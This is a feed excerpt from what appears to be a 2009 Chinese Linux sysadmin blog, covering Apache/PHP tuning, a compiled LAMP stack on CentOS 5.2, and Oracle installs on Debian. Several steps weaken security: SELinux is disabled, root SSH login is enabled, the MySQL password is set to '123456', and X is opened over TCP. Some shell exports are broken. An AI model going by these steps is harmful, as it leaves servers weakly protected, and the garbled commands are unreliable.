#虚拟主机配置文件<br />
sites-enabled<br />
#指向sites-available目录下文件的链接。<br />
conf.d<br />
#定义字符编码和其它选项。<br />
三、性能调优<br />
1、内核优化，vim /etc/sysctl.conf<br />
# Use TCP syncookies when needed<br />
net.ipv4.tcp_syncookies = 1<br />
# Enable TCP window scaling<br />
net.ipv4.tcp_window_scaling: = 1<br />
# Increase TCP max buffer size<br />
net.core.rmem_max = 16777216<br />
net.core.wmem_max = 16777216<br />
# Increase Linux autotuning TCP buffer limits<br />
net.ipv4.tcp_rmem = 4096 87380 16777216<br />
net.ipv4.tcp_wmem = 4096 65536 16777216<br />
# Increase number of ports available<br />
net.ipv4.ip_local_port_range = 1024 65000<br />
2、优化磁盘<br />
在文件系统上禁用 atime 日志记录特性。atime 是最近访问文件的时间，每当访问文件时，底层文件系统必须记录这个时间戳。因为系统管理员很少使用atime，禁用它可以减少磁盘访问时间。禁用这个特性的方法是，在 /etc/fstab 的第四列中添加 noatime 选项。<br />
例如：LABEL=/boot             /boot                   ext3    defaults,noatime        1 2<br />
3、调优Apache<br />
需要伸缩性的站点可以选择worker或event线程化的MPM，而需要稳定性和兼容性的站点可以用prefork。<br />
一个经典 worker MPM 配置：<br />
ServerLimit 128<br />
StartServers 8<br />
MaxClients 3000<br />
MinSpareThreads 128<br />
MaxSpareThreads 1024<br />
ThreadsPerChild 32<br />
一个 perfoxk MPM 配置实例：<br />
StartServers 32<br />
MinSpareServers 32<br />
MaxSpareServers 64<br />
MaxClients 1024<br />
MaxRequestsPerChild 4000</p>
<p>有效的使用选项和重写<br />
<Directory /><br />
    AllowOverride None<br />
    Options FollowSymLinks<br />
</Directory><br />
如果使用 -FollowSymLinks，该特性就会被禁用。如果禁用了 FollowSymLinks，Apache 就必须检查使用该文件名的所有组件（目录和文件本身），以确保它们不是符号连接。这会带来额外的开销（磁盘操作）。<br />
AllowOverride None 是不允许重写，这能消除 Apache 检查 .htaccess 的需求。<br />
HostnameLookups off 指令禁用 DNS 查找，因为试图反向解析连接到您的服务器的所有 IP 地址无疑是浪费资源。</p>
<p>持久连接<br />
KeepAlive On<br />
KeepAliveTimeout 5</p>
<p>关闭DNS查询<br />
HostnameLookups off</p>
<p>合理配置缓冲模块<br />
mod_cache<br />
mod_disk_cache<br />
mod_mem_cache<br />
mod_file_cache</p>
<p>4、优化 php.ini ，四个重要的控制设置 PHP 可以使用多少系统资源。<br />
max_execution_time 一个脚本可使用多少 CPU 秒，建议值 30<br />
max_input_time 一个脚本等待输入数据的时间有多长（秒），建议值 60<br />
memory_limit 在被取消之前，一个脚本可使用多少内存（字节），建议值 32M<br />
output_buffering 数据发送给客户机之前，有多少数据（字节）需要缓存，建议值 4096<br />
PHP 可执行的日志记录数是可配置的。在生产环境中，禁用除最重要的日志以外的一切日志记录能够减少磁盘写操作。如果需要使用日志来排除问题，那么可以按需启用日志记录。error_reporting = E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR 将启用足够的日志记录，使您发现问题，同时从脚本中消除大量无用的内容。<br />
5、优化MySQL<br />
参考：<br />
三、应用 php 加速<br />
1、安装 XCache 或 eAccelerator<br />
下载：apt-get install php5-xcache<br />
下载：http://bart.eaccelerator.net/source/0.9.5.3/eaccelerator-0.9.5.3.tar.bz2</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1271.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>centos5.2安装+apache+php+mysql+gd+zend+phpmyadmin</title>
		<link>http://www.evanjiang.net.cn/archives/1272.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1272.html#comments</comments>
		<pubDate>Sat, 08 Aug 2009 07:16:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[redhat linux]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1272</guid>
		<description><![CDATA[<p>centos5.2是采用最小化的安装，全部的软件都是采用编译安装，软件基本都是最新版本。</p>
<p>1 安装</p>
<p>1.1 CentOS5.2
? 所有需要安装的包都放在/usr/src下，解压也是解压在/usr/src下。
? 所有的软件都是安装在/usr/local下。</p>
<p>1.2 基本信息
? vmware workstation 6.2
? 创建一个redhat as 5.0 vm
? 8g硬盘，160m内存，去掉声卡，软驱
? ip：192.168.1.168
? 掩码：255.255.255.0
? 网关：192.168.1.1
? dns：192.168.1.1
? hostname:centos</p>
<p>1.3 最小化安装
通过命令行的方式进行安装，所有的选择都是采用缺省的，
时区选择：中国
语言：英语
安装了342个包，占用空间是536m，不选择任何组件</p>
<p>1.4 分区
/swap:320
/ :全部空间</p>
<p>2 基本命令使用</p>
<p>2.1 VI
进入编辑状态：i
退出编辑状态：Esc
到第一行：gg
到最後一行：G
到某一行：xxG
到行首：0
到行末：$
复制：yy
贴上：p
复原：u
删整行：dd
删除全部内容：dG
显示行数：:set nu
不显示行数：:set nonu
搜寻：/、再次搜寻：n
储存：:w
离开：:q
储存兼离开：:wq 或 shift+zz
强制离开（不储存）：:q!
2.2 yum
更新：yum update
安装：yum install xxx
移除：yum remove xxx
清除已经安装过的档案（/var/cache/yum/）：yum clean all
搜寻：yum search xxx
列出所有档案：yum list
查询档案讯息：yum info xxx
群组安装功能：
yum grouplist
yum groupinstall &#8220;Web Server&#8221;

2.3 rpm
安装：rpm -ivh xxx
移除：rpm -e xxx
升级：rpm -Uvh xxx
查询：
查询所有安装的包： rpm -qa
查询某个包：rpm -qa [...]]]></description>
			<content:encoded><![CDATA[<p>centos5.2是采用最小化的安装，全部的软件都是采用编译安装，软件基本都是最新版本。</p>
<p>1 安装</p>
<p>1.1 CentOS5.2<br />
? 所有需要安装的包都放在/usr/src下，解压也是解压在/usr/src下。<br />
? 所有的软件都是安装在/usr/local下。</p>
<p>1.2 基本信息<br />
? vmware workstation 6.2<br />
? 创建一个redhat as 5.0 vm<br />
? 8g硬盘，160m内存，去掉声卡，软驱<br />
? ip：192.168.1.168<br />
? 掩码：255.255.255.0<br />
? 网关：192.168.1.1<br />
? dns：192.168.1.1<br />
? hostname:centos</p>
<p>1.3 最小化安装<br />
通过命令行的方式进行安装，所有的选择都是采用缺省的，<br />
时区选择：中国<br />
语言：英语<br />
安装了342个包，占用空间是536m，不选择任何组件</p>
<p>1.4 分区<br />
/swap:320<br />
/ :全部空间</p>
<p>2 基本命令使用</p>
<p>2.1 VI<br />
进入编辑状态：i<br />
退出编辑状态：Esc<br />
到第一行：gg<br />
到最後一行：G<br />
到某一行：xxG<br />
到行首：0<br />
到行末：$<br />
复制：yy<br />
贴上：p<br />
复原：u<br />
删整行：dd<br />
删除全部内容：dG<br />
显示行数：:set nu<br />
不显示行数：:set nonu<br />
搜寻：/、再次搜寻：n<br />
储存：:w<br />
离开：:q<br />
储存兼离开：:wq 或 shift+zz<br />
强制离开（不储存）：:q!<br />
2.2 yum<br />
更新：yum update<br />
安装：yum install xxx<br />
移除：yum remove xxx<br />
清除已经安装过的档案（/var/cache/yum/）：yum clean all<br />
搜寻：yum search xxx<br />
列出所有档案：yum list<br />
查询档案讯息：yum info xxx<br />
群组安装功能：<br />
yum grouplist<br />
yum groupinstall &#8220;Web Server&#8221;<br />
<span id="more-1272"></span><br />
2.3 rpm<br />
安装：rpm -ivh xxx<br />
移除：rpm -e xxx<br />
升级：rpm -Uvh xxx<br />
查询：<br />
查询所有安装的包： rpm -qa<br />
查询某个包：rpm -qa | grep xxx<br />
rpm -qi xxx<br />
查询软件的安装路径：rpm -ql xxx<br />
rpm -qc xxx<br />
查询某个文件是那个rpm包产生：rpm -qf /etc/yum.conf<br />
rpm -qpi xxx<br />
2.4 chkconfig<br />
查看所有服务：chkconfig &#8211;list<br />
查看3启动的状态：chkconfig &#8211;list | grep 3n<br />
把某些服务设置为启动：chkconfig &#8211;level 345 xxx on<br />
把某些服务设置当前启动：chkconfig xxx on<br />
列出某项服务：chkconfig &#8211;list xxx</p>
<p>2.5 查看系统状态<br />
查看系统使用字符集：echo $LANG $LANGUAGE<br />
环境变量：set</p>
<p>2.6 解压<br />
如果是以gz結尾的如：test.tar.gz<br />
tar zxvf test.tar.gz<br />
如果是以bz或bz2結尾如：test.tar.bz2<br />
tar jxvf test.tar.bz2</p>
<p>2.7 基本信息查看和修改<br />
查看 IP：ifconfig<br />
修改 IP：<br />
运行命令：system-config-network-tui<br />
或修改：/etc/sysconfig/network-scripts/ifcfg-eth0<br />
FQDN 设定：<br />
hostname<br />
more /etc/hosts<br />
more /etc/sysconfig/network<br />
修改计算机名字<br />
1：vi /etc/sysconfig/network<br />
2：vi /etc/hosts<br />
如果通过<br />
hostname xxx<br />
来修改计算机名字，则重新启动后就不起作用<br />
DNS 设定：<br />
vi /etc/resolv.conf<br />
nameserver 192.168.1.1<br />
nameserver 202.106.195.68<br />
重新启动网卡：<br />
/etc/rc.d/init.d/network restart</p>
<p>3 登陆后设置</p>
<p>3.1 关闭selinux<br />
1：运行命令setup，可以在图形化界面进行关闭<br />
2：vi /etc/sysconfig/selinux<br />
SELINUX=enforcing 改成&#8211;> SELINUX=disabled</p>
<p>3.2 关闭不需要服务<br />
1：运行命令setup<br />
2：运行命令ntsysv<br />
只启用下面9个服务（autofs是为了方便使用光驱，其实可以不启用这个服务）<br />
acpid<br />
anacron<br />
autofs<br />
cpuspeed<br />
crond<br />
network<br />
sshd<br />
syslog<br />
yum-updatesd<br />
3.3 配置ssh<br />
修改两个地方<br />
vi /etc/ssh/sshd.config<br />
#PermitRootLogin yes 改为<br />
PermitRootLogin yes<br />
#UseDNS yes 改为<br />
UseDNS no</p>
<p>3.4 配置yum</p>
<p>mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.save<br />
vi /etc/yum.repos.d/CentOS-Base.repo<br />
######################<br />
[base]<br />
name=CentOS-5 &#8211; Base<br />
repo=os<br />
baseurl=http://centos.ustc.edu.cn/centos/5.1/os/$basearch/<br />
gpgcheck=1<br />
gpgkey=http://centos.ustc.edu.cn/centos/RPM-GPG-KEY-CentOS-5<br />
[update]<br />
name=CentOS-5 &#8211; Updates<br />
baseurl=http://centos.ustc.edu.cn/centos/5.1/updates/$basearch/<br />
gpgcheck=1<br />
gpgkey=http://centos.ustc.edu.cn/centos/RPM-GPG-KEY-CentOS-5<br />
[addons]<br />
name=CentOS-5 &#8211; Addons<br />
baseurl=http://centos.ustc.edu.cn/centos/5.1/addons/$basearch/<br />
gpgcheck=1<br />
gpgkey=http://centos.ustc.edu.cn/centos/RPM-GPG-KEY-CentOS-5<br />
[extras]<br />
name=CentOS-5 &#8211; Extras<br />
baseurl=http://centos.ustc.edu.cn/centos/5.1/extras/$basearch/<br />
gpgcheck=1<br />
gpgkey=http://centos.ustc.edu.cn/centos/RPM-GPG-KEY-CentOS-5<br />
[centosplus]<br />
name=CentOS-5 &#8211; Plus<br />
baseurl=http://centos.ustc.edu.cn/centos/5.1/centosplus/$basearch/<br />
gpgcheck=1<br />
enabled=0<br />
gpgkey=http://centos.ustc.edu.cn/centos/RPM-GPG-KEY-CentOS-5<br />
[contrib]<br />
name=CentOS-5 &#8211; Contrib<br />
baseurl=http://centos.ustc.edu.cn/centos/5.1/contrib/$basearch/<br />
gpgcheck=1<br />
enabled=0<br />
gpgkey=http://centos.ustc.edu.cn/centos/RPM-GPG-KEY-CentOS-5<br />
###################</p>
<p>rpm &#8211;import http://centos.ustc.edu.cn/centos/5.1/os/i386/RPM-GPG-KEY-CentOS-5<br />
yum update</p>
<p>4 ：编译前准备<br />
4.1 安装编译器gcc<br />
最小化安装，没有安装编译器<br />
yum install gcc<br />
4.2 gcc-c++<br />
如果不安装，在编译mysql的时候会出现【exec: g++: not found】错误<br />
yum install gcc-c++<br />
5：安装软件<br />
5.1安装mysql<br />
1:去下载一个ncurses-5.6.tar.gz，<br />
tar zxvf ncurses-5.6.tar.gz<br />
cd ncurses-5.6<br />
./configure &#8211;prefix=/usr &#8211;with-shared &#8211;without-debug<br />
make<br />
make install clean</p>
<p>2：安装mysql<br />
tar -zxvf mysql-5.0.51a.tar.gz<br />
cd mysql-5.0.51a<br />
./configure &#8211;with-mysqld-user=mysql &#8211;prefix=/usr/local/mysql5 &#8211;with-extra-charset=all &#8211;without-isam &#8211;exec-prefix=/usr/local/mysql5<br />
echo $?<br />
make &#038;&#038; make install</p>
<p>3：初始化数据库：<br />
groupadd mysql<br />
useradd -g mysql mysql<br />
scripts/mysql_install_db<br />
cp /usr/local/mysql5/share/mysql/my-medium.cnf /usr/local/mysql5/var/my.cnf<br />
cp /usr/local/mysql5/share/mysql/mysql.server /etc/init.d/mysqld<br />
chkconfig &#8211;add mysqld<br />
chkconfig &#8211;level 2345 mysqld on<br />
chown mysql:mysql -R /usr/local/mysql5/<br />
service mysqld start<br />
ln -s /usr/local/mysql5/bin/mysql /sbin/mysql<br />
ln -s /usr/local/mysql5/bin/mysqladmin /sbin/mysqladmin</p>
<p>4：设定mysql密码<br />
mysqladmin -uroot password &#8220;123456&#8243;</p>
<p>5：让系统找到mysql（如果必要的话）：<br />
PATH=$PATH:/usr/local/mysql5/bin<br />
export PATH<br />
echo &#8220;/usr/local/mysql5/lib/mysql&#8221; >> /etc/ld.so.conf<br />
ldconfig<br />
6：:测试<br />
netstat -nplt | grep mysql<br />
ps aux|grep mysql<br />
5.2 安装apache<br />
1：编译安装<br />
tar zxvf httpd-2.2.8.tar.gz<br />
cd httpd-2.2.8<br />
./configure &#8211;prefix=/usr/local/apache2 &#8211;enable-so &#8211;enable-rewrite<br />
echo $?<br />
make &#038;&#038; make install<br />
/usr/local/apache2/bin/apachectl configtest<br />
/usr/local/apache2/bin/apachectl start<br />
/usr/local/apache/bin/apachectl stop<br />
2：修改默认启动页<br />
vi /usr/local/apache2/conf/httpd.conf<br />
DirectoryIndex index.html 改为<br />
DirectoryIndex index.html index.htm default.htm default.html index.php index.php3 index.jsp<br />
#ServerName www.example.com:80 改为<br />
ServerName www.example.com:80<br />
3：apache 开机启动的办法<br />
1：#echo &#8220;/usr/local/apache/bin/apachectl start&#8221; >>/etc/rc.local(系统启动时服务自动启动)<br />
2:创建一个httpd启动脚本，内容如下：<br />
cp /usr/local/apache2/bin/apachectl /etc/init.d/httpd<br />
vi /etc/init.d/httpd<br />
在第三行添加以下内容<br />
#chkconfig:345 85 15<br />
#description: Start and stops the Apache HTTP Server.<br />
chmod +x /etc/rc.d/init.d/httpd<br />
chkconfig &#8211;add httpd<br />
修改乱码<br />
步骤1：<br />
在httpd.conf中将Include conf/extra/httpd-autoindex这个模块的注释去掉<br />
@vi /usr/local/apache/conf/httpd.conf<br />
步骤2：<br />
在httpd-autoindex.conf中加入IndexOptions Charset=UTF-8<br />
@vi /usr/local/apache/conf/extra/httpd-autoindex.conf<br />
5.3 安装GD<br />
1：安装ZLIB2<br />
######zlib#############<br />
tar zxvf zlib-1.2.3.tar.gz<br />
cd zlib-1.2.3<br />
./configure<br />
make<br />
make install clean<br />
2：安装PNG<br />
##########libpng###########<br />
tar zxvf libpng-1.2.26.tar.gz<br />
cd libpng-1.2.26<br />
cp scripts/makefile.linux ./makefile<br />
./configure &#8211;prefix=/usr/local/libpng<br />
make<br />
make install clean<br />
3：安装freetype<br />
##########freetype#########<br />
cd freetype-2.3.5<br />
./configure<br />
make<br />
make install<br />
4：安装JPEG6</p>
<p>#########jpeg###############<br />
tar zxvf jpegsrc.v6b.tar.gz<br />
cd jpeg-6b<br />
mkdir -pv /usr/local/jpeg/{,bin,lib,include,man/man1,man1}<br />
./configure &#8211;prefix=/usr/local/jpeg &#8211;enable-shared &#8211;enable- static<br />
make<br />
make install<br />
5：安装GD<br />
########GD###########<br />
tar zxvf gd-2.0.35.tar.gz<br />
cd gd-2.0.35<br />
./configure &#8211;with-png &#8211;with-freetype &#8211;with-jpeg=/usr/local/jpeg/<br />
make<br />
make install<br />
5.4 安装php<br />
1：安装LIBXML2<br />
#####libxml2 #####<br />
tar zxvf libxml2-2.6.31.tar.gz<br />
cd libxml2-2.6.31<br />
./configure &#8211;prefix=/usr/local/libxml2<br />
make<br />
make install<br />
cp xml2-config /usr/bin<br />
2：:安装PHP5.2.5<br />
#########php##########<br />
tar zxvf php-5.2.5.tar.gz<br />
cd php-5.2.5<br />
./configure &#8211;prefix=/usr/local/php5 &#8211;with-mysql=/usr/local/mysql5 &#8211;with-apxs2=/usr/local/apache2/bin/apxs &#8211;with-jpeg-dir=/usr/local/jpeg &#8211;with-freetype-dir=/usr/local/include/freetype2 &#8211;with-zlib &#8211;with-png-dir=usr/local/libpng12 &#8211;with-libxml-dir=/usr/local/libxml2 &#8211;with-gd &#8211;enable-ftp &#8211;enable-sockets<br />
make<br />
make test<br />
make install</p>
<p>3：配置<br />
cp php.ini-dict /usr/local/php5/lib/php.ini<br />
编辑httpd.conf<br />
/usr/local/apache2/conf/httpd.conf<br />
加载php模块，去掉注释,我的版本是缺省就启用的。<br />
LoadModule php5_module        modules/libphp5.so<br />
加上下面两行<br />
AddType application/x-httpd-php .php .phtml<br />
AddType application/x-httpd-php-source .phps</p>
<p>5.5 安装zend<br />
tar -zxvf ZendOptimizer-3.0.0-linux-glibc23- x86_64.tar.gz<br />
cd ZendOptimizer-3.0.0-linux-glibc23-x86_64<br />
./install<br />
5.6 安装phpmyadmin<br />
cp -rf phpMyAdmin-v2.11.5.2 /usr/local/apache2/htdocs/phpmyadmin<br />
cd /usr/local/apache2/htdocs/phpmyadmin/<br />
cp config.sample.inc.php config.inc.php<br />
vi config.inc.php<br />
$cfg['blowfish_secret'] = &#8221;改为<br />
$cfg['blowfish_secret'] = &#8216;dd&#8217;<br />
只要不为空就可以了，这样就可以登陆，如果还有问题，就修改一下语言就解决“配置文件现在需要绝密的短语密码(blowfish_secret)”这个错误了。</p>
<p>6：软件<br />
ncurses<br />
http://ftp.gnu.org/pub/gnu/ncurses/ncurses- 5.6.tar.gz<br />
安装GD库和GD库所需的环境<br />
zlib</p>
<p>http://www.zlib.net/zlib-1.2.3.tar.gz</p>
<p>jpeg<br />
ftp://ftp.uu.net/graphics/jpeg/jpegsrc.v6b.tar.gz<br />
freetype<br />
http://download.savannah.gnu.org/releases/freetype/freetype- 2.3.5.tar.gz<br />
png<br />
ftp://ftp.simplesystems.org/pub/libpng/png/src/libpng- 1.2.26.tar.gz<br />
GD</p>
<p>http://www.libgd.org/releases/gd-2.0.35.tar.gz</p>
<p>安装php必须安装libxml<br />
wget ftp://xmlsoft.org/libxml2/libxml2-2.6.31.tar.gz<br />
apache2.2.8<br />
http://apache.mirror.phpchina.com/httpd/httpd- 2.2.8.tar.gz<br />
phpmyadmin2.11.5.2<br />
http://4.gxdx1.crsky.com/200804/phpMyAdmin- v2.11.5.2.rar<br />
Zend3.3<br />
http://downloads.zend.com/optimi &#8230; glibc21-i386.tar.gz<br />
php5.2.5<br />
http://cn.php.net/distributions/php- 5.2.5.tar.gz<br />
mysql5.051<br />
http://mirror.trouble- free.net/mysql_mirror/Downloads/MySQL- 5.0/mysql-5.0.51a.tar.gz</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1272.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DEBIAN 下安装 ORACLE10</title>
		<link>http://www.evanjiang.net.cn/archives/1261.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1261.html#comments</comments>
		<pubDate>Sun, 02 Aug 2009 14:06:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[debian linux]]></category>
		<category><![CDATA[oracle]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1261</guid>
		<description><![CDATA[<p>
1 安装准备
1.1 系统的准备
  本文是在Debian linux下Oracle10g的安装笔记。我假设您已经成功的安装并配置Debian Linux。
1.2 依赖包的安装
  在开始Oracle的安装之前，请您确保您至少已经安装以下软件包。
  make gcc g++ libc6-dev
  注意：我不确 定，您是否只需要安装以上软件包，但我可以确定的是，您必须安装以上软件包。软件包的安装： apt-get install make gcc g++ libc6-dev
1.3 创建用户和组
  oracle安装需要两个unix用户组和一个运行时的oracle用户。
  以root登录：
[root@james]# groupadd dba
[root@james]# groupadd oinstall
[root@james]# useradd -g oinstall -G dba -m oracle
[root@james]# passwd oracle
1.4 创建目录
  有很多文档，建议您将oracle安装到一个独立的分区上面。比如：/opt。请您根据您的需要选择合适自己的安装目录。在本文档中，我们假设 oracle的安装目录为/usr/local/ora10。
  确保有至少3.5G的可用空间。
[root@james]# mkdir -p /usr/local/ora10/product/10.1.0
[root@james]# mkdir /var/opt/oracle
[root@james]# chown oracle.dba [...]]]></description>
			<content:encoded><![CDATA[<p>
1 安装准备<br />
1.1 系统的准备<br />
  本文是在Debian linux下Oracle10g的安装笔记。我假设您已经成功的安装并配置Debian Linux。<br />
1.2 依赖包的安装<br />
  在开始Oracle的安装之前，请您确保您至少已经安装以下软件包。<br />
  make gcc g++ libc6-dev<br />
  注意：我不确 定，您是否只需要安装以上软件包，但我可以确定的是，您必须安装以上软件包。软件包的安装： apt-get install make gcc g++ libc6-dev<br />
1.3 创建用户和组<br />
  oracle安装需要两个unix用户组和一个运行时的oracle用户。<br />
  以root登录：<br />
[root@james]# groupadd dba<br />
[root@james]# groupadd oinstall<br />
[root@james]# useradd -g oinstall -G dba -m oracle<br />
[root@james]# passwd oracle<br />
1.4 创建目录<br />
  有很多文档，建议您将oracle安装到一个独立的分区上面。比如：/opt。请您根据您的需要选择合适自己的安装目录。在本文档中，我们假设 oracle的安装目录为/usr/local/ora10。<br />
  确保有至少3.5G的可用空间。<br />
[root@james]# mkdir -p /usr/local/ora10/product/10.1.0<br />
[root@james]# mkdir /var/opt/oracle<br />
[root@james]# chown oracle.dba /var/opt/oracle<br />
[root@james]# chown -R oracle.dba /usr/local/ora10<br />
[root@james]# chmod 755 /var/opt/oracle<br />
  您生成oracle的运行时路径，并且授写权限给oracle用户，执行权限给dba组。<br />
1.5 设置内核参数<br />
1.5.1 修改sysctl.conf<br />
  添加如下的行到/etc/sysctl.conf中：<br />
kernel.shmmax = 536870912<br />
kernel.shmmni = 4096<br />
kernel.shmall = 2097152<br />
kernel.sem   = 250 32000 100 128<br />
fs.file-max   = 65536<br />
net.ipv4.ip_local_port_range = 1024 65000</p>
<p>  注：shmmax是一个很重要参数，根据您的机器的内存来设定。如果您设置不合适的话，在创建数据库到约76%的时候就会挂掉。祝您好运。^_^<br />
1.5.2 修改limits.conf<br />
  添加下面的行到/etc/security/limits.conf以修改你的资源限制：<br />
oracle soft nofile 65536<br />
oracle hard nofile 65536<br />
oracle soft nproc 16384<br />
oracle hard nproc 16384<br />
<span id="more-1261"></span><br />
1.5.3 让修改生效<br />
  修改以上文件后，您必须让其生效，您重启系统，或者用以下的方式改变内核运行参数：<br />
[root@james]# echo 250 32000 100 128 > /proc/sys/kernel/sem<br />
[root@james]# echo 536870912 > /proc/sys/kernel/shmmax<br />
[root@james]# echo 4096 > /proc/sys/kernel/shmmni<br />
[root@james]# echo 2097152 > /proc/sys/kernel/shmall<br />
[root@james]# echo 65536 > /proc/sys/fs/file-max<br />
[root@james]# echo 1024 65000 > /proc/sys/net/ipv4/ip_local_port_range<br />
1.6 设置Oracle用户环境<br />
  以oracle用户登录：<br />
%su – oracle<br />
  修改~/.bash_profile文件，去掉下列三行的注释符，使.bashrc文件生效：<br />
#if [ -f ~/.bashrc ]; then<br />
#   . ~/.bashrc<br />
#fi<br />
  添加下列行到~/.bashrc:<br />
# oracle 10g<br />
export ORACLE_BASE=/usr/local/ora10<br />
export ORACLE_HOME=/usr/local/ora10/product/10.1.0<br />
export PATH=$ORACLE_HOME/bin/ORACLE_HOME/Apache/Apache/bin/PATH<br />
export ORACLE_OWNER=oracle<br />
export ORACLE_SID=compiere<br />
export ORACLE_TERM=xterm</p>
<p># Edit paths<br />
export LD_LIBRARY_PATH=/usr/local/ora10/product/10.1.0/lib/LD_LIBRARY_PATH<br />
export PATH=/usr/local/ora10/product/10.1.0/bin/PATH</p>
<p># Set DISPLAY<br />
export DISPLAY=&#8221;127.0.0.1:0.0&#8243;<br />
  我是将上面的内容保存到另一个文件中，.bash_oracle，然后在.bashrc中使用source .bash_oracle进行调用 的。您可以根据您的好恶进行设置。您需要注意的是，ORACLE_BASE和ORACLE_HOME的设置一定得和您在前面创建的目录相符。 ORACLE_SID是默认数据库的名称，在本文档中，我们假设默认的数据库名叫compiere，如果您想用其他的名字，请您作相应的修改。<br />
  在有些文档中，还建议您需要设置一些其他的内核参数。但是我在安装的时候，没有设置。我的内核是2.6.8。<br />
  差别忘记，您还得把. bash_profile文件中的umask=022这一行前的注释符去掉。<br />
1.7 设置DISPLAY<br />
  我想您肯定是不想以Oracle用户登录，启动X窗口来进行安装的啦。如果您想直接以oracle用户启动X，进行安装，您可以忽略这一步。<br />
  我们假设我们以一个普通用户james来启动gnome。那么，如果您要以oracle用户的身份来进行安装，则您必须首先启用X的TCP/IP连接。<br />
  Debian下默认关闭TCP/IP连接，所以首先要打开X的TCP/IP连接。<br />
  在/etc/X11/xinit/xserverrc文件中，您将会看到下面这一行：<br />
exec /usr/bin/X11/X -dpi 100 -nolisten tcp<br />
  去掉其中的nolisten，然后重启就OK。<br />
  作为普通用户，打开TCP/IP连接后可能连不上X服务器。需要在用户的.bashrc(/home/james/)中添加下面这一行：<br />
alias startx=&#8217;startx &#8212; -deferglyphs 16&#8242;<br />
  然后，您切换到root用户下，添加127.0.0.1的X连接权限：<br />
shell$sudo su -<br />
shell#xhost +127.0.0.1<br />
  然后，您就可以继续下一步啦。<br />
  请注意：如果您重启系统后，必须 再次执行<br />
xhost +127.0.0.1<br />
2 执行安装<br />
2.1 交换分区的调整<br />
  差点忘，为安装Oracle 10g,oracle推荐至少512M内存和至少400M交换空间。内存，好象不够关系也不大，但是交换分区 呢，您还是大方一点吧。如果您的交换分区不够400M，那么您还是先看看这一步吧。<br />
重设交换分区可以使用如下操作：<br />
shell# dd if=/dev/zero of=tmp_swap bs=1k count=900000<br />
shell# chmod 600 tmp_swap<br />
shell# mkswap tmp_swap<br />
shell# swapon tmp_swap<br />
  完成安装以后，可以释放这个空间：<br />
shell# swapoff tmp_swap<br />
shell# rm tmp_swap<br />
  count值是根据您需要调整的交换分区大小而定。<br />
2.1 运行Installer<br />
  终于可以安装。我们假设下载的安装文件位于/home/oracle下，名称为ship.db.cpio.gz<br />
shell#su &#8211; oracle<br />
shell>gunzip ship.db.cpio.gz # 目录下会生成ship.db.cpio文件<br />
shell>cpio -idmv < ship.db.cpio # 执行完以后，会生成Disk1目录<br />
shell>cd Disk1<br />
shell>./runInstaller -ignoreSysPrereqs   # 因为我们是在debian下，所以必须忽略系统检测<br />
  接下的一般选择默认设置就可以。<br />
  注意：<br />
  A.安装过程中，会提示让您以root用户执行相应的脚本，请您必须选以root身份执行完脚本，然后继续安装。<br />
  B.创建数据时请选择编码需要选“Unicode standard UTF-8 AL32UTF8”。如果您不设定 UTF 8的编码格式，则您在后面汉化Compiere的时候将会出错。<br />
3 数据库设置<br />
  数据库要正常启动，包括两个方面：启动数据库实例，启动侦听。<br />
  您可以手动的启动数据库实例，但是我们推荐您用dbstart命令来启动数据库实例。<br />
  以dbstart启动数据库实例需要做如下两步操作：<br />
A、需要修改/etc/oratab，将想自动启动的数据库(compiere)所在行的“N”修改为“Y”。<br />
B、cp $ORACLE_BASE/admin/compiere/pfile/initcompiere.oraXXX   $ORACLE_HOME/dbs/initcompiere.ora<br />
其中XXX为一长串字符串，随机产生。<br />
  然后执行dbstart就可以自动启动。然后使用lsnrctl启动侦听。<br />
4 常见问题<br />
  暂无<br />
后注：<br />
  本文只是我在Debian Linux下安装Oracle数据的笔记。如果您使用的是其它发行版的Linux，其中的具体步骤可能会有一些差别。请您注意。如果您对本文档有任何建 议，或者您按本文档而不可以完成安装，您可以给我发邮件。shiguo.qin@sw-linux.com</p>
<p>在Debian上安装Oracle Database XE<br />
原作者： redice li<br />
来源：http://rediceli.blogspot.com/200 &#8230; le-database-xe.html</p>
<p>OracleXE 简介</p>
<p>甲骨文2005年宣布向中国市场推出的可免费下载的Oracle Database 10g Express Edition (Oracle Database XE) ，供专业人员在学习及应用开发的起步阶段使用。Oracle Database XE建立在Oracle数据库10g第二版的代码库之上，与Oracle数据库产品系列完全兼容。Oracle Database XE可用于32位Linux和Windows操作系统，在功能上，Oracle Database XE版相当于Oracle Standard Edition One。但由于是免费版本，在硬件上受到一定的限制，如：</p>
<p>至多使用1个CPU或1个双核CPU的处理能力；<br />
最多可使用1GB内存;<br />
每个服务器只限于一个CPU;<br />
最多存储4GB的用户数据。<br />
安装Oracle XE</p>
<p>测试环境建立于Debian系统上，系统具备4Gb的磁盘空间用于建立数据库，500M以上的空间用于安装数据库。要数据库真正运行起来，那么你最好为你的系统配置1Gb的内存。下一步，我们将配置Debian的sources.list，加入oracle安装包的站点：</p>
<p>root@debian ~# echo &#8220;deb http://oss.oracle.com/debian/ unstable main non-free&#8221; >> /etc/apt/sources.list<br />
root@debian ~# apt-get update<br />
安装oracle database XE只需要简单的安装两个包即可，安装过程如下：</p>
<p>root@debian ~# apt-get install oracle-xe-client<br />
root@debian ~# apt-get install oracle-xe<br />
完成后，安装过程就完成。安装过程会更新一些核心的配置参数，可以通过查看/etc/sysctl.conf来查看这些变化，如果你不想重启系统就启动oracle数据库，那么需要先应用这些配置。下面我们直接应用Oracle database XE的默认配置，如用户账号：</p>
<p>root@debian ~# sh /etc/init.d/oracle-sh configure<br />
